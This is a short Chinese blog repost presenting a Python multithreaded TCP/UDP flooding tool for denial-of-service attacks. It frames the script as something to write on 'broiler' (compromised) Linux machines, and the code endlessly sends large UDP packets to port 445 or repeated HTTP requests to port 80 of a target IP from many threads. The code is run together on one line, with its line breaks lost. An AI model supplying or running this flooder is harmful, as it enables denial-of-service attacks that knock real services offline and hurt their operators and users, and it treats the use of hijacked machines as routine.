python 多线程tcp udp发包 Dos工具。

来源:互联网 发布:知党史颂党恩手抄报 编辑:程序博客网 时间:2024/06/05 14:25

现在肉鸡上面linux越来越多,都默认安装了python,有时候没有工具的时候可以自己写一个:



下面是支持 tcp和udp的python的发包代码:


import socket,sys,threadingif len(sys.argv)!=4:    print('使用方法:\n'+sys.argv[0],'目标ip','协议[tcp | udp]','线程数')    sys.exit(1)    ip=sys.argv[1]tp='send'+sys.argv[2].strip().lower()tno=int(sys.argv[3])udpdata=b'a'*65530tcpdata='''GET / HTTP/1.1Connection: keep-aliveHost: {}User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko)Chrome/17.0.963.46 Safari/535.11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3'''.format(ip).encode()def sendudp(host,port=445):    s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)    while True:        s.sendto(udpdata,(host,port))        print('Udp sending... ')def sendtcp(host,port=80):    while True:        s=socket.socket()        s.connect((host,port))        s.send(tcpdata)        print('Tcp sending... ')        s.close()        tlst=[]for i in range(tno):    th=threading.Thread(target=eval(tp),args=(ip,))    tlst.append(th)    for i in tlst:    i.start()